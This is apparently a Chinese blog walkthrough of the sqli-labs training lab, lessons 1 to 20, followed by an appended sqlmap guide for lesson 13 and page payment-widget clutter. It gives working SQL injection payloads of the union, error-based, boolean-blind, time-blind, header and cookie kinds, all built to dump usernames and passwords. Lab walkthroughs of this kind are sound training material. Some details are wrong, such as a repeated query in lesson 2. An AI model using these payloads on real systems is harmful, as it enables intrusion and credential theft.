通关sqli-labs 1~20关

1.字符型注入(联合查询)

使用如下代码检查有几列

?id=1' order by 3--+

可以明显看出有三列

输入

?id=-1' union select 1,2,3 --+

查看分别在第几列

注入?id=-1' union select 1,database(),3 -- 

接下来输入

?id=-1 union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+

即可成功

2.数字型注入(联合查询)

依旧查看列数,可修改代码中数字进行检查

?id=1 order by 3--+ 

看看是否有回显?id=-1 union select 1,2,3--+ 

查看所有的表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查看所有字段

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查看数据

?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

这样就算注入成功了

3.字符型注入(单引号加括号)

这里和前面差不多但是本关需要闭合')

将前面的代码id=XX后加')即可

4.字符型注入(双引号+括号闭合型)

本关后改为")即可

然后重复之前操作

5.报错注入

本关属于单引号盲注,需要用报错注入

输入?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+获取数据库名

输入?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from security.users),0x7e),1)--+获取表名

6.报错注入

这道题和第5题一样通过报错注入语句,输入双引号"闭合注入点

?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from security.users),0x7e),1)--+

7.报错注入

首先通过这串代码验证注入类型发现属于单引号加双括号型

?id=1')) and 1=2--+

输入此代码查询数据

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from security.users),0x7e),1)--+

发现并不全面,输入

?id=1')) and updatexml(1,concat(0x7e,substr((select group_concat(username,':',password) from security.users),33),0x7e),1)--+

查询后面的内容

8.布尔盲注

单引号闭合的布尔盲注(页面只有“存在/不存在”两种状态)

通过

?id=1' and length(database())=8--+

判断数据库名长度

115是 s 的ASCII码,页面有内容则验证成立,通过尝试得到数据

?id=1' and ascii(substr(database(),1,1))=115--+

9.时间盲注

单引号闭合的时间盲注,页面无任何状态变化,依赖时间延迟判断

?id=1' and sleep(5)--+

延迟5秒,判断闭合是否正确

通过此代码判断长度

?id=1' and if(length(database())=8,sleep(5),1)--+

其余如8题

10.时间盲注

双引号闭合的时间盲注与9一致,仅闭合符不同

将9的单引号替换为双引号即可,时间盲注的核心逻辑完全复用。

?id=1" and sleep(5)--+

?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

11.字符型注入

在注入表单的 name输入代码

admin' union select 1,group_concat(username,':',password) from security.users--+

用单引号'闭合 

通过回显得到数据

12.字符型注入

与11一致,只是闭合方式略有不同,使用双引号加括号闭合

admin") union select 1,group_concat(username,':',password) from security.users--+

13.报错注入

此题通过单引号加括号盲注

admin') and updatexml(1,concat(0x7e,database(),0x7e),1)--+

无登录成功回显,依赖 updatexml  报错获取数据

14.报错注入

这道题属于双引号闭合的类型,使用下面代码注入

admin" and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from security.users),0x7e),1)--+

接下来同上

15.布尔盲注

闭合方式为单引号通过判断数据库名长度

admin' and length(database())=8--+

通过登录是否成功判断条件真假

16.布尔盲注

闭合方式为双引号加括号,判断数据库名长度

admin") and length(database())=8--+

其余同15

17.密码重置型报错注入

将代码放入Name会发现它在嘲讽我们

' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from security.users),0x7e),1)--+

换个思路,放在密码中即可成功

18.User-Agent头注入

这道题我们需要抓包

将User-Agent改一下

19.Referer头注入

这道题类似于第18题

改一下http即可

20.Cookie注入

同样抓包修改

然后通过修改cookie的值为注入语句来注入出数据

### SQL注入测试与sqli-labs Lesson 13通关指南 在使用 **SQLMap** 工具对 **sqli-labs13** 进行SQL注入测试时,首先需要了解该卡的注入类型和测试策略。第13是 **基于时间盲注的POST注入**,这意味着攻击者无法直接从页面内容中获取反馈信息,而是通过判断服务器响应延迟来推断注入是否成功。 #### SQLMap参数设置与注入流程 为了完成这一卡,可以使用以下命令进行测试: ```bash sqlmap -u "http://localhost/sqli-labs/Less-13/" --data="id=1" --technique=T --level=5 --risk=3 --dbs ``` - `-u`:指定目标URL。 - `--data`:模拟POST请求的数据,表示注入点。 - `--technique=T`:指定使用时间盲注技术。 - `--level=5` 和 `--risk=3`:增加检测深度和风险等级,以覆盖更多注入点。 - `--dbs`:用于列出数据库名称。 如果检测到数据库名称,可以进一步获取表名和列名: ```bash sqlmap -u "http://localhost/sqli-labs/Less-13/" --data="id=1" --technique=T --level=5 --risk=3 -D database_name --tables sqlmap -u "http://localhost/sqli-labs/Less-13/" --data="id=1" --technique=T --level=5 --risk=3 -D database_name -T table_name --columns ``` 其中 `-D` 指定数据库名称,`-T` 指定表名,`--columns` 用于获取列名。 #### 自动化注入与数据提取 一旦获取到列名,可以通过以下命令提取数据: ```bash sqlmap -u "http://localhost/sqli-labs/Less-13/" --data="id=1" --technique=T --level=5 --risk=3 -D database_name -T table_name -C column_name --dump ``` 该命令将从指定表中提取所有数据。 #### 安全注意事项 在使用SQLMap进行测试时,需要注意以下几点: - 使用 `--risk=3` 会增加测试的侵入性,可能导致数据库状态变化,因此应谨慎操作。 - 在生产环境中使用SQLMap可能会带来风险,建议在测试环境中进行。 - 如果目标服务器响应较慢,可能需要调整超时设置,例如使用 `--timeout=10` 指定超时时间[^3]。 ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值